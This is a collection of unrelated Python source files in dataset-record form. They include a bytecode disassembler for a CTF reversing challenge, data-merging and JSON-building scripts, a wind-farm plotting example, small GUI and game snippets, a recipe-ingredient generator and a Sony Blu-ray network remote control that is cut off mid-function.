readbyte(reg.r14_IP,4)\n\t\t\treg.r14_IP += 1\n\t\t\top1 = get_reg(x)\n\t\t\tins_count = 3\n\t\telif(dat1 == 2):\n\t\t\top1 = readlong(reg.r14_IP,4)\n\t\t\treg.r14_IP += 4\n\t\t\tins_count = 6\n\t\telse:\n\t\t\tassert (dat1 & 3) != 0\n\n\t\t\ttmp = None\n\t\t\tif((dat1 & 1) != 0):\n\t\t\t\tx = readbyte(reg.r14_IP,4)\n\t\t\t\treg.r14_IP += 1\n\t\t\t\ttmp = get_reg(x)\n\t\t\t\top1 = \"[\" + tmp + \"]\"\n\t\t\t\tins_count = 3\n\t\t\tif((dat1 & 2) != 0):\n\t\t\t\tx = readlong(reg.r14_IP,4)\n\t\t\t\treg.r14_IP += 4\n\t\t\t\top1 = \"[\" + tmp + \" + \" + x + \"]\"\n\t\t\t\tins_count += 4\n\n\tif(dat2 != 0):\n\t\tif(dat2 == 1):\n\t\t\tx = readbyte(reg.r14_IP,4)\n\t\t\treg.r14_IP += 1\n\t\t\top2 = get_reg(x)\n\t\t\tins_count = 3\n\t\telif(dat2 == 2):\n\t\t\top2 = readlong(reg.r14_IP,4)\n\t\t\treg.r14_IP += 4\n\t\t\tins_count = 6\n\t\telse:\n\t\t\tassert (dat2 & 3) != 0\n\n\t\t\ttmp = None\n\t\t\tif((dat2 & 1) != 0):\n\t\t\t\tx = readbyte(reg.r14_IP,4)\n\t\t\t\treg.r14_IP += 1\n\t\t\t\ttmp = get_reg(x)\n\t\t\t\top2 = \"[\" + tmp + \"]\"\n\t\t\t\tins_count = 3\n\t\t\tif((dat2 & 2) != 0):\n\t\t\t\tx = readlong(reg.r14_IP,4)\n\t\t\t\treg.r14_IP += 4\n\t\t\t\top2 = \"[\" + tmp + \" + \" + x + \"]\"\n\t\t\t\tins_count += 4\n\n\t# print(ins_count, op1, op2)\n\treturn ins_count, op1, op2\n\n\ndef executeIns(reg,unkn):\n\tprint(hex(reg.r14_IP)[2:].zfill(8),end=\" \")\n\n\topc = readbyte(reg.r14_IP, 4)\n\treg.r14_IP += 1\n\n\tx = readbyte(reg.r14_IP, 4)\n\treg.r14_IP += 1\n\n\tc, op1, op2 = parse_mode(reg,unkn,x)\n\n\tassert opc < 0x32\n\n\tif(opc == 0):\n\t\tprint( op1 , \"=\" , op2)\n\telif(opc == 1):\n\t\tprint(\"byte\" , op1 , \"=\" , op2)\n\telif(opc == 2):\n\t\tprint(\"ushort\" , op1 , \"=\" , op2)\n\telif(opc == 3):\n\t\tprint(\"OPCODE\" , opc , \"MODE\" , x , \"OP1\" , op1 , \"OP2\" , op2)\n\telif(opc == 4):\n\t\tprint(\"EXIT\")\n\telif(opc == 5):\n\t\tprint(\"RET\\n\")\n\telif(opc == 6):\n\t\tprint(\"CALL\", op1)\n\telif(opc == 7):\n\t\tprint(\"helper_function()\")\n\telif(opc == 8):\n\t\tprint(\"if \"+op1+\"<<\"+op2+\"==0 ? (F1=1 F2=0 : F1=0 F2=0)\")\n\telif(opc == 9):\n\t\tprint(\"if \"+op1+\">>\"+op2+\"==0 ? (F1=1 F2=0 : F1=0 F2=0)\")\n\telif(opc == 10):\n\t\tprint(\"if \"+op1+\"+\"+op2+\"==0 ? (F1=1 F2=0 : F1=0 F2=0)\")\n\telif(opc == 11):\n\t\tprint(\"byte if \"+op1+\"+\"+op2+\"==0 ? (F1=1 F2=0 : F1=0 F2=0)\")\n\telif(opc == 12):\n\t\tprint(\"ushort if \"+op1+\"+\"+op2+\"==0 ? (F1=1 F2=0 : F1=0 F2=0)\")\n\telif(opc == 13):\n\t\tprint(\"if \"+op1+\"-\"+op2+\"==0 ? (F1=1 F2=0 : F1=0 F2=0)\")\n\telif(opc == 14):\n\t\tprint(\"byte if \"+op1+\"-\"+op2+\"==0 ? (F1=1 F2=0 : F1=0 F2=0)\")\n\telif(opc == 15):\n\t\tprint(\"ushort if \"+op1+\"-\"+op2+\"==0 ? (F1=1 F2=0 : F1=0 F2=0)\")\n\telif(opc == 16):\n\t\tprint(\"if \"+op1+\"*\"+op2+\"==0 ? (F1=1 F2=0 : F1=0 F2=0)\")\n\telif(opc == 17):\n\t\tprint(\"byte if \"+op1+\"*\"+op2+\"==0 ? (F1=1 F2=0 : F1=0 F2=0)\")\n\telif(opc == 18):\n\t\tprint(\"ushort if \"+op1+\"*\"+op2+\"==0 ? (F1=1 F2=0 : F1=0 F2=0)\")\n\telif(opc == 19):\n\t\tprint(\"if \"+op1+\"/\"+op2+\"==0 ? (F1=1 F2=0 : F1=0 F2=0) | r6 =\"+op1+\"%\"+op2)\n\telif(opc == 20):\n\t\tprint(\"byte if \"+op1+\"/\"+op2+\"==0 ? (F1=1 F2=0 : F1=0 F2=0) | r6 =\"+op1+\"%\"+op2)\n\telif(opc == 21):\n\t\tprint(\"ushort if \"+op1+\"/\"+op2+\"==0 ? (F1=1 F2=0 : F1=0 F2=0) | r6 =\"+op1+\"%\"+op2)\n\telif(opc == 22):\n\t\tprint(\"if \"+op1+\"^\"+op2+\"==0 ? (F1=1 F2=0 : F1=0 F2=0)\")\n\telif(opc == 23):\n\t\tprint(\"byte if \"+op1+\"^\"+op2+\"==0 ? (F1=1 F2=0 : F1=0 F2=0)\")\n\telif(opc == 24):\n\t\tprint(\"ushort if \"+op1+\"^\"+op2+\"==0 ? (F1=1 F2=0 : F1=0 F2=0)\")\n\telif(opc == 25):\n\t\tprint(\"if \"+op1+\"&\"+op2+\"==0 ? (F1=1 F2=0 : F1=0 F2=0)\")\n\telif(opc == 26):\n\t\tprint(\"byte if \"+op1+\"&\"+op2+\"==0 ? (F1=1 F2=0 : F1=0 F2=0)\")\n\telif(opc == 27):\n\t\tprint(\"ushort if \"+op1+\"&\"+op2+\"==0 ? (F1=1 F2=0 : F1=0 F2=0)\")\n\telif(opc == 28):\n\t\tprint(\"if \"+op1+\"|\"+op2+\"==0 ? (F1=1 F2=0 : F1=0 F2=0)\")\n\telif(opc == 29):\n\t\tprint(\"byte if \"+op1+\"|\"+op2+\"==0 ? (F1=1 F2=0 : F1=0 F2=0)\")\n\telif(opc == 30):\n\t\tprint(\"ushort if \"+op1+\"|\"+op2+\"==0 ? (F1=1 F2=0 : F1=0 F2=0)\")\n\telif(opc == 31):\n\t\tprint(\"OPCODE\" , opc , \"MODE\" , x , \"OP1\" , op1 , \"OP2\" , op2)\n\telif(opc == 32):\n\t\tprint(\"OPCODE\" , opc , \"MODE\" , x , \"OP1\" , op1 , \"OP2\" , op2)\n\telif(opc == 33):\n\t\tprint(\"OPCODE\" , opc , \"MODE\" , x , \"OP1\" , op1 , \"OP2\" , op2)\n\telif(opc == 34):\n\t\tprint(\"push\", op1)\n\telif(opc == 35):\n\t\tprint(\"pop\", op1)\n\telif(opc == 36):\n\t\tprint(opc, \"\\t| swap(\",op1,op2,\")\")\n\telif(opc == 37):\n\t\tprint(\"if \"+op1+\"+1==0 ? (F1=1 F2=0 : F1=0 F2=0)\")\n\telif(opc == 38):\n\t\tprint(\"if \"+op1+\"-1==0 ? (F1=1 F2=0 : F1=0 F2=0)\")\n\telif(opc == 39):\n\t\tprint(\"if \"+op1+\"<\"+op2+\" F2=1\")\n\telif(opc == 40):\n\t\tprint(\"byte if \"+op1+\"==\"+op2+\" F1=1 | if \"+op1+\"<\"+op2+\" F1=0 F2=1 | if \"+op2+\"<\"+op1+\" F1=0 F2=0\")\n\telif(opc == 41):\n\t\tprint(\"ushort if \"+op1+\"==\"+op2+\" F1=1 | if \"+op1+\"<\"+op2+\" F1=0 F2=1 | if \"+op2+\"<\"+op1+\" F1=0 F2=0\")\n\telif(opc == 42):\n\t\tprint(\"if \"+op1+\"&\"+op2+\"==0 ? (F1=1 F2=0 : F1=0 F2=0)\")\n\telif(opc == 43):\n\t\tprint(\"JMP\",op1)\n\telif(opc == 44):\n\t\tprint(\"if F2 JMP\",op1)\n\telif(opc == 45):\n\t\tprint(\"if !F2 JMP\",op1)\n\telif(opc == 46):\n\t\tprint(\"if !F1 !F2 JMP\",op1)\n\telif(opc == 47):\n\t\tprint(\"if !F1 F2 JMP\",op1)\n\telif(opc == 48):\n\t\tprint(\"if F2 JMP\",op1)\n\telif(opc == 49):\n\t\tprint(\"OPCODE\" , opc , \"MODE\" , x , \"OP1\" , op1 , \"OP2\" , op2)\n\n\nif __name__ == '__main__':\n\treg = registers()\n\tunkn = unknown()\n\n\tparse_file(unkn,\"optimiseme.xvm\")\n\n\treg.r14_IP = unkn.prog.e_entry\n\tprint_data()\n\texit()\n\n\tfor obj in sections:\n\t\tif(obj.sh_name == \".text\"):\n\t\t\t# while(reg.r14_IP < obj.sh_dsize + obj.sh_addr):\n\t\t\t# \texecuteIns(reg, unkn)\n\t\t\tcontinue\n\t\telif(obj.sh_name.startswith(\".chk\")):\n\t\t\tprint(\"SECTION\",obj.sh_name)\n\t\t\treg.r14_IP = obj.sh_addr\n\t\t\tif(obj.sh_name != \".chk11\"):\n\t\t\t\twhile(reg.r14_IP < obj.sh_dsize + obj.sh_addr - 33):\n\t\t\t\t\texecuteIns(reg, unkn)\n\t\t\telse:\n\t\t\t\twhile(reg.r14_IP < obj.sh_dsize + obj.sh_addr):\n\t\t\t\t\texecuteIns(reg, unkn)","sub_path":"Writeups/zh3roCTF_2021/OptimiseMe/interpreter.py","file_name":"interpreter.py","file_ext":"py","file_size_in_byte":10379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"538060196","text":"#! python3\n\"\"\"\nversion 1 - 7/3/2021\nadds data from tweedekamer.nl to kandidaten.json\n\"\"\"\n\nimport json\n\ndef add_info(new_info, old_dataset=None, outputfile=None):\n\n\tif old_dataset is not None:\n\t\twith open(old_dataset, 'r') as kandidaten_large:\n\t\t\tkandidaten_large = json.load(kandidaten_large)\n\telse:\n\t\tkandidaten_large = json.load(sys.stdin)\n\n\n\twith open(new_info, 'r') as kandidaten_klein:\n\t\tkandidaten_klein = json.load(kandidaten_klein)\n\n\tvoorletters_naam = {\n\t\tnaam_from_kandidaat(kandidaat): naam\n\t\tfor naam, kandidaat in kandidaten_large.items()\n\t}\n\n\tfor oude_kandidaat in kandidaten_large.values():\n\t\toude_kandidaat['kamerlid_2021'] = False\n\t\toude_kandidaat['fotos'] = []\n\t\toude_kandidaat['socials'] = {}\n\n\t\tif len(oude_kandidaat['links']) == 1:\n\t\t\toude_kandidaat['links'] = {'instagram': oude_kandidaat['links'][0]}\n\t\t\talmost_handle = oude_kandidaat['links']['instagram'].split(\"/\")\n\t\t\toude_kandidaat['socials']['instagram'] = almost_handle[-1] if almost_handle[-1] else almost_handle[-2]\n\n\t\telif len(oude_kandidaat['links']) > 1:\n\t\t\traise Exception(\"WTF didn't expect more than one existing link!!!!!!!!!\")\n\t\telse:\n\t\t\toude_kandidaat['links'] = {}\n\n\tfor nieuwe_kandidaat in kandidaten_klein:\n\t\tnaam = nieuwe_kandidaat['name']\n\t\tif naam not in voorletters_naam:\n\t\t\tprint(\"Skipping:\", naam)\n\t\t\tcontinue\n\n\t\toude_kandidaat = kandidaten_large[voorletters_naam[naam]]\n\n\t\toude_kandidaat['kamerlid_2021'] = True\n\t\t\n\t\toude_kandidaat['leeftijd'] = nieuwe_kandidaat['age']\n\t\t\n\t\toude_kandidaat['ancienniteit'] = nieuwe_kandidaat['ancienniteit']\n\n\t\toude_kandidaat['fotos'].append(nieuwe_kandidaat['image'])\n\n\t\tfor network, (handle, link) in nieuwe_kandidaat['socials'].items():\n\t\t\tif link[-1] != '/':\n\t\t\t\tlink += '/'\n\t\t\tif network == 'instagram' and oude_kandidaat['links'].get('instagram', link).lower() != link.lower():\n\t\t\t\tprint(f\"Wow {oude_kandidaat['naam']} heeft twee insta accounts :O oud: {oude_kandidaat['links']['instagram']}, nieuw: {link}\")\n\t\t\t\toude_kandidaat['links']['instagram2'] = oude_kandidaat['links']['instagram']\n\t\t\t\toude_kandidaat['socials']['instagram2'] = oude_kandidaat['socials']['instagram']\n\t\t\toude_kandidaat['links'][network] = link\n\t\t\toude_kandidaat['socials'][network] = handle\n\n\t\toude_kandidaat['links']['tweedekamer'] = nieuwe_kandidaat['url']\n\n\tif outputfile is not None:\n\t\twith open(outputfile, 'w') as jsonfile:\n\t\t\tjson.dump(kandidaten_large, jsonfile, indent=2)\n\t\t\tprint(file=jsonfile) # trailing newling\n\telse:\n\t\tjson.dump(kandidaten_large, sys.stdout, indent=2)\n\t\tprint() # trailing newling\n\n\ndef naam_from_kandidaat(kandidaat):\n\treturn kandidaat['voorletters'] + \\\n\t\t(' ' + kandidaat['tussenvoegsel'] if kandidaat['tussenvoegsel'] else '') + \\\n\t\t' ' + kandidaat['achternaam']\n\n\nif __name__ == '__main__':\n\tARGV_OVERRIDE = None\n\t# ARGV_OVERRIDE = ['tweedekamer.json', '-od', 'kandidaten_original.json', '-o', 'kandidaten_nieuw.json']\n\n\tfrom argparse import ArgumentParser, FileType\n\tparser = ArgumentParser(description=__doc__)\n\t# old_dataset, new_info, outputfile\n\tparser.add_argument('new_info', help=\"new info to add to old dataset.\")\n\tparser.add_argument('-od', '--old-dataset', help=\"file to add new info to, defaults to stdin.\", default=None)\n\tparser.add_argument('-o', '--outputfile', help=\"file to outputfile to, defaults to stdout.\", default=None)\n\n\tadd_info(**vars(parser.parse_args(ARGV_OVERRIDE)))\t\n","sub_path":"kandidaten_add-tweedekamer.py","file_name":"kandidaten_add-tweedekamer.py","file_ext":"py","file_size_in_byte":3345,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"237768428","text":"# 여행가 A가 최종적으로 도착할 지점의 좌표를 출력하기\nimport sys\n\nN = int(input())\n\nplan = list(sys.stdin.readline().split())\n\nx = y = 1\n\nfor i in plan:\n if i == 'L': # 좌\n if x <= 1:\n continue\n x -= 1\n elif i == 'R': # 우\n if x >= N:\n continue\n x += 1\n elif i == 'U': # 상\n if y <= 1:\n continue\n y -= 1\n elif i == 'D': # 하\n if y >= N:\n continue\n y += 1\n\nprint(y, x)\n\n\n# 다른 코드\nN = int(input())\nx, y = 1, 1\nplans = input().split()\n\n# L, R, U, D\ndx = [0, 0, -1, 1]\ndy = [-1, 1, 0, 0]\nmove = ['L', 'R', 'U', 'D']\n\nfor plan in plans:\n for i in range(4):\n if plan == move[i]:\n nx = x + dx[i]\n ny = y + dy[i]\n\n # 공간을 벗어나는 경우\n if nx < 1 or ny < 1 or nx > N or ny > N:\n continue\n \n x, y = nx, ny\n","sub_path":"BAEKJOON/구현/상하좌우.py","file_name":"상하좌우.py","file_ext":"py","file_size_in_byte":910,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"570085291","text":"import sys\nimport json\nfrom pprint import pprint\n\ndata = json.load(open(str(sys.argv[1])))\n\nmeat = data[\"data\"][\"hits\"]\n\na = 0\nb = 500\n\n#while a < len(meat):\nif a == a:\n\tmy_list = []\n#\tfor i in meat[a:b]:\n\tfor i in meat:\n\t\tfile_name = i[\"file_name\"]\n\t\tslide_entity = i[\"file_name\"].split('.')[0]\n\t\tif \"DX\" in slide_entity.split('-')[5]:\n\t\t\texperimental_strategy = \"Diagnostic Slide\"\n\t\telif any(i in slide_entity.split('-')[5] for i in [\"TS\", \"BS\", \"MS\"]):\n\t\t\texperimental_strategy = \"Tissue Slide\"\n\t\telse:\n\t\t\texperimental_strategy = \"ERROR\"\n\t\tfile_size = i[\"file_size\"]\n\t\tid = i[\"file_id\"]\n\t\tmd5sum = i[\"md5sum\"]\n\t\t# Static Fields\n\t\tdata_category = \"Biospecimen\"\n\t\tdata_format = \"SVS\"\n\t\tdata_type = \"Slide Image\"\n\t\ttyp = \"slide_image\"\n\t\tnewent = {}\n\t\tnewent[\"type\"] = typ\n\t\tnewent[\"id\"] = id\n\t\tnewent[\"file_name\"] = file_name\n\t\tnewent[\"experimental_strategy\"] = experimental_strategy\n\t\tnewent[\"file_size\"] = file_size\n\t\tnewent[\"md5sum\"] = md5sum\n\t\tnewent[\"data_category\"] = data_category\n\t\tnewent[\"data_format\"] = data_format\n\t\tnewent[\"data_type\"] = data_type\n\t\tnewent[\"slides\"] = {\"submitter_id\": slide_entity}\n\t\tmy_list.append(json.dumps(newent))\n\twith open(typ+\"_\"+str(a)+\"_\"+str(b)+\".json\",\"w\") as open_file:\n\t\topen_file.write(str(my_list).replace(\"'\",\"\"))\n\ta = b\n\tb += 500\n","sub_path":"SlideImageImport/buildEntities.py","file_name":"buildEntities.py","file_ext":"py","file_size_in_byte":1294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"13574747","text":"# Copyright 2020 NREL\n\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may not\n# use this file except in compliance with the License. You may obtain a copy of\n# the License at http://www.apache.org/licenses/LICENSE-2.0\n\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations under\n# the License.\n\n# See https://floris.readthedocs.io for documentation\n\n\nimport matplotlib.pyplot as plt\n\nimport floris.tools as wfct\n\n\n# Initialize the FLORIS interface fi\n# For basic usage, the florice interface provides a simplified interface to\n# the underlying classes\nfi = wfct.floris_interface.FlorisInterface(\"../example_input.json\")\n\n# Calculate wake\nfi.calculate_wake()\n\n# Get horizontal plane at default height (hub-height)\nhor_plane = fi.get_hor_plane()\n\n# Plot and show\nfig, ax = plt.subplots()\nwfct.visualization.visualize_cut_plane(hor_plane, ax=ax)\nplt.show()\n","sub_path":"examples/_getting_started/example_00_open_and_vis_floris.py","file_name":"example_00_open_and_vis_floris.py","file_ext":"py","file_size_in_byte":1118,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"304548391","text":"import pygame\nfrom Stages.stage import Stage\nfrom GameObjects.buttons import Button\nfrom Singletons.inputManager import InputManager\nfrom Singletons.cameraManager import CameraManager\nfrom Singletons.displayManager import DisplayManager\nfrom Singletons.uiManager import UIManager\nfrom GameObjects.superSummon import SuperSummon\nimport constants as c\n\n\nclass StageTwo(Stage):\n def runStage(self):\n firstLoad = True\n black = (0, 0, 0)\n\n button = Button('button_fullscreen_normal.png', 'button_fullscreen_hover.png',\n 'button_fullscreen_click.png', 'fullscreen')\n\n button.buttonObj.collisionController.hitBox.setCollision(50, 50, c.PIVOT_TOP_LEFT)\n button.buttonObj.pos.x = 50\n button.buttonObj.pos.y = 20\n button.buttonObj.setFunction(DisplayManager().toggleFullScreen)\n\n super = SuperSummon()\n\n while not InputManager().quitGame:\n\n events = pygame.event.get()\n InputManager().update(events)\n CameraManager().update()\n UIManager().update()\n\n button.update()\n super.update()\n\n button.render()\n UIManager().render()\n super.render()\n\n pygame.display.update()\n\n DisplayManager().gameDisplay.fill(black)\n pygame.display.update()\n pygame.quit()\n","sub_path":"GameFolder/Stages/stageTwo.py","file_name":"stageTwo.py","file_ext":"py","file_size_in_byte":1357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"122929602","text":"import sys\r\nfrom PyQt5.QtCore import *\r\nfrom PyQt5.QtWidgets import *\r\nfrom PyQt5.QtMultimedia import *\r\nfrom pathlib import Path #for checking file exist\r\n\r\nclass PlaySound(QWidget):\r\n\r\n # wav is the file path\r\n def __init__(self, wav):\r\n\r\n super().__init__()\r\n\r\n #check if file exist\r\n my_file = Path(wav)\r\n\r\n if my_file.is_file():\r\n self.fileExists = True\r\n else:\r\n self.fileExists = False\r\n print('file NOT exist')\r\n\r\n self.wav_path = wav\r\n\r\n self.initUI()\r\n\r\n def initUI(self):\r\n self.b1 = QPushButton(\"Play Audio\", self)\r\n self.b1.clicked.connect(self.play)\r\n\r\n self.tmpLayout = QHBoxLayout()\r\n self.tmpLayout.addWidget(self.b1)\r\n\r\n self.setLayout(self.tmpLayout)\r\n\r\n def play(self):\r\n QSound.play(self.wav_path)\r\n","sub_path":"PlaySound.py","file_name":"PlaySound.py","file_ext":"py","file_size_in_byte":856,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"600821546","text":"import random\n\n\nfoods = open('foods.txt','r').read().split(\"\\n\")\nmeasurements = [\n\t\"cup\",\n\t\"cups\",\n\t\"tbl\",\n\t\"tablespoons\",\n\t\"tablespoon\",\n\t\"tsp\",\n\t\"teaspoon\",\n\t\"teaspoons\",\n\t\"tsp.\",\n\t\"tbl.\",\n\t\"c.\",\n\t\"ounce\",\n\t\"oz\",\n\t\"ounces\",\n\t\"gallon\",\n\t\"liter\",\n\t\"grams\",\n\t\"g\",\n\t\"pound\",\n\t\"lb\",\n\t\"\",\n\t\"\",\n\t\"\",\n\t\"\",\n\t\"\",\n\t\"\",\n\t\"\",\n\t\"\",\n\t\"\",\n\t\"\",\n\t\"\",\n\t\"\",\n\t\"\",\n\t\"\",\n\t\"\",\n]\nnotes = [\n\t\"canned\",\n\t\"dissolved\",\n\t\"cooked\",\n\t\"roasted\",\n\t\"chopped\",\n\t\"finely chopped\",\n\t\"unflavored\",\n\t\"seasoned\",\n\t\"melted\",\n\t\"minced\",\n\t\"blackened\",\n\t\"chopped\",\n\t\"kosher\",\n\t\"dry\",\n\t\"crumbs\",\n\t\"freshly grated\",\n\t\"grated\",\n\t\"to taste\",\n\t\"freshly squeezed\",\n\t\"washed\",\n\t\"medium\",\n\t\"medium-large\",\n\t\"large\",\n\t\"small\",\n\t\"dissolved in\",\n\t\"sifted\",\n\t\"recipe follows\"\n\t\"raw\",\n\t\"see note\",\n\t\"available at\",\n\t\"granulated\",\n\t\"shredded\",\n\t\"about\",\n\t\"packets\",\n\t\"stems removed\",\n\t\"extra large\",\n\t\"boiling\",\n\t\"peeled\",\n\t\"diced\",\n\t\"minced or mashed in\",\n\t\"a mortar and pestle\",\n\t\"fresh\",\n\t\"thick\",\n\t\"Greek-style\",\n\t\"drained\",\n\t\"freshly ground\",\n\t\"thinly sliced\",\n\t\"peeled\",\n\t\"\",\n\t\"\",\n\t\"\",\n\t\"\",\n\t\"\",\n\t\"\",\n\t\"\",\n\t\"\",\n\t\"\",\n]\nnums = {\n\t\"1\":1,\n\t\"2\":2,\n\t\"3\":3,\n\t\"4\":4,\n\t\"5\":5,\n\t\"6\":6,\n\t\"7\":7,\n\t\"8\":8,\n\t\"9\":9,\n\t\"\":0,\n}\nfracs = {\n\t\"3/4\":0.75,\n\t\"1/2\":0.5,\n\t\"1/3\":0.3333,\n\t\"2/3\":0.6666,\n\t\"1/4\":0.25,\n\t\"1/8\":0.125,\n\t\"\":0,\n}\n\ndef randomIngredient():\n\ting = random.choice(foods)\n\tnum = random.choice(list(nums.keys()))\n\tfrac = random.choice(list(fracs.keys()))\n\tnote = random.choice(notes)\n\tif random.random() < 0.2:\n\t\tnote += \" \" + random.choice(notes)\n\t\tif random.random() < 0.1:\n\t\t\tnote += \" and \" + random.choice(notes)\n\t\tif random.random() < 0.1:\n\t\t\tnote += \" or \" + random.choice(notes)\n\t\tif random.random() < 0.1:\n\t\t\tnote += \" (\" + random.choice(notes) + \")\"\n\tmea = random.choice(measurements)\n\tcomment = note.strip()\n\titem = ing \n\tmeasure = mea\n\tr = random.random()\n\tif random.random() < 0.3:\n\t\ting = \"of \" + ing\n\tif random.random() < 0.02:\n\t\ting = \"cans \" + ing\n\ttext = \" \".join(\"{} {} {} {} {}\".format(num,frac,mea,note,ing).split())\n\tamount = fracs[frac]+nums[num]\n\tif amount == 0:\n\t\tamount = \"\"\n\tif random.random() < 0.3:\n\t\tnote = random.choice(notes)\n\t\ttext += \", {}\".format(note)\t\n\t\tcomment += \", {}\".format(note)\n\tif random.random() < 0.3:\n\t\tnote = random.choice(notes)\n\t\ttext += \" {}\".format(note)\t\n\t\tcomment += \" {}\".format(note)\n\tif random.random() < 0.01:\n\t\ttext = \"zest of \" + text\n\tif random.random() < 0.01:\n\t\ttext = ing + \" \" + comment\n\t\tamount = \"\"\n\t\tmea = \"\"\n\t\tcomment = \"\"\n\tif random.random() < 0.02:\n\t\ttext = \"salt\"\n\t\ting = \"salt\"\n\t\tamount = \"\"\n\t\tmea = \"\"\n\t\tcomment = \"\"\n\tif random.random() < 0.01:\n\t\ttext = \"salt to taste\"\n\t\ting = \"salt\"\n\t\tamount = \"\"\n\t\tmea = \"\"\n\t\tcomment = \"\"\n\tif ',' in text:\n\t\ttext = '\"'+text+'\"'\n\tif ',' in item:\n\t\titem = '\"'+item+'\"'\n\tif ',' in comment:\n\t\tcomment = '\"'+comment+'\"'\n\treturn text, item, mea, amount, comment\n\n\nprint(randomIngredient())\nwith open(\"bootstrap.csv\",\"w\") as f:\n\tf.write(\"index,input,name,qty,range_end,unit,comment\\n\")\n\tfor i in range(3000):\n\t\ttext, item, measure, amount, comment = randomIngredient()\n\t\tf.write('{},{},{},{},,{},{}\\n'.format(i,text,item,amount,measure,comment))\n\n\t\t\n\"\"\"\npython3 bootstrap.py\nbin/generate_data --data-path=bootstrap.csv --count=10000 --offset=0 > tmp/train_file\ncrf_learn template_file tmp/train_file tmp/model_file \n\"\"\"","sub_path":"bootstrap.py","file_name":"bootstrap.py","file_ext":"py","file_size_in_byte":3261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"452537655","text":"#!/usr/bin/python3\n\n# IP control of Sony UBP-X1000ES BluRay player.\n\nimport base64\nimport json\nimport requests\nimport urllib\n\n\nHOST = 'bluray.halflab.com'\n\n# This token was what my phone used.\n#TOKEN = 'TVSideView:8469cea1-0a4e-4977-ae4e-3e0477d75efc'\n# The token probably doesn't need to follow that format, but just in case...\nTOKEN = 'HRC:12345678-1234-5678-90ab-1234567890ab'\n\n# List of codes below taken from\n# http://www.remotecentral.com/cgi-bin/mboard/rs232-ip/thread.cgi?171,3\n# Note that 'qriocity' (commented out below) is not in the\n# getRemoteCommandList response from my player, but the rest are there.\n# Also I renamed \"confirm\" to \"select\", since that seems more descriptive \n# for the center of the five-way rocker. And I renamed \"power\" to\n# \"poweroff\", since \"poweron\" uses a different mechanism implemented\n# separately below. \nBUTTON_TO_CODE = {\n 'select' : 'AAAAAwAAHFoAAAA9Aw==',\n 'up' : 'AAAAAwAAHFoAAAA5Aw==',\n 'down' : 'AAAAAwAAHFoAAAA6Aw==',\n 'right' : 'AAAAAwAAHFoAAAA8Aw==',\n 'left' : 'AAAAAwAAHFoAAAA7Aw==',\n 'home' : 'AAAAAwAAHFoAAABCAw==',\n 'options' : 'AAAAAwAAHFoAAAA/Aw==',\n 'return' : 'AAAAAwAAHFoAAABDAw==',\n 'num1' : 'AAAAAwAAHFoAAAAAAw==',\n 'num2' : 'AAAAAwAAHFoAAAABAw==',\n 'num3' : 'AAAAAwAAHFoAAAACAw==',\n 'num4' : 'AAAAAwAAHFoAAAADAw==',\n 'num5' : 'AAAAAwAAHFoAAAAEAw==',\n 'num6' : 'AAAAAwAAHFoAAAAFAw==',\n 'num7' : 'AAAAAwAAHFoAAAAGAw==',\n 'num8' : 'AAAAAwAAHFoAAAAHAw==',\n 'num9' : 'AAAAAwAAHFoAAAAIAw==',\n 'num0' : 'AAAAAwAAHFoAAAAJAw==',\n 'poweroff' : 'AAAAAwAAHFoAAAAVAw==',\n 'display' : 'AAAAAwAAHFoAAABBAw==',\n 'audio' : 'AAAAAwAAHFoAAABkAw==',\n 'subtitle' : 'AAAAAwAAHFoAAABjAw==',\n 'favorites' : 'AAAAAwAAHFoAAABeAw==',\n 'yellow' : 'AAAAAwAAHFoAAABpAw==',\n 'blue' : 'AAAAAwAAHFoAAABmAw==',\n 'red' : 'AAAAAwAAHFoAAABnAw==',\n 'green' : 'AAAAAwAAHFoAAABoAw==',\n 'play' : 'AAAAAwAAHFoAAAAaAw==',\n 'stop' : 'AAAAAwAAHFoAAAAYAw==',\n 'pause' : 'AAAAAwAAHFoAAAAZAw==',\n 'rewind' : 'AAAAAwAAHFoAAAAbAw==',\n 'forward' : 'AAAAAwAAHFoAAAAcAw==',\n 'prev' : 'AAAAAwAAHFoAAABXAw==',\n 'next' : 'AAAAAwAAHFoAAABWAw==',\n 'replay' : 'AAAAAwAAHFoAAAB2Aw==',\n 'advance' : 'AAAAAwAAHFoAAAB1Aw==',\n 'angle' : 'AAAAAwAAHFoAAABlAw==',\n 'topmenu' : 'AAAAAwAAHFoAAAAsAw==',\n 'popupmenu' : 'AAAAAwAAHFoAAAApAw==',\n 'eject' : 'AAAAAwAAHFoAAAAWAw==',\n 'karaoke' : 'AAAAAwAAHFoAAABKAw==',\n #'qriocity' : 'AAAAAwAAHFoAAABMAw==',\n 'netflix' : 'AAAAAwAAHFoAAABLAw==',\n 'mode3d' : 'AAAAAwAAHFoAAABNAw==',\n}\n\nBUTTON_POST_XML = '''\n\n\n\n%s\n\n\n\n'''\n\nREGISTER_PARAMS = {\n 'name' : 'HRC',\n 'registrationType' : 'initial',\n 'deviceId' : TOKEN,\n 'wolSupport' : 'true',\n}\n\n\nclass BluRay:\n def __init__(self):\n pass\n\n def Send(self, url, headers=None, query_params=None, body=None, json=None):\n if body is None and json is None:\n response = requests.get(url=url, headers=headers, params=query_params)\n else:\n response = requests.post(\n url=url, headers=headers, params=query_params, data=body, json=json)\n # TODO: log stuff\n return response\n\n def GetDeviceIdHeader(self):\n return {\n 'X-CERS-DEVICE-ID' : urllib.parse.quote(TOKEN),\n }\n\n def PressButton(self, button):\n button = str(button).lower()\n if button not in BUTTON_TO_CODE:\n raise Exception('unknown button %s' % button)\n\n url = 'http://%s:50001/upnp/control/IRCC' % 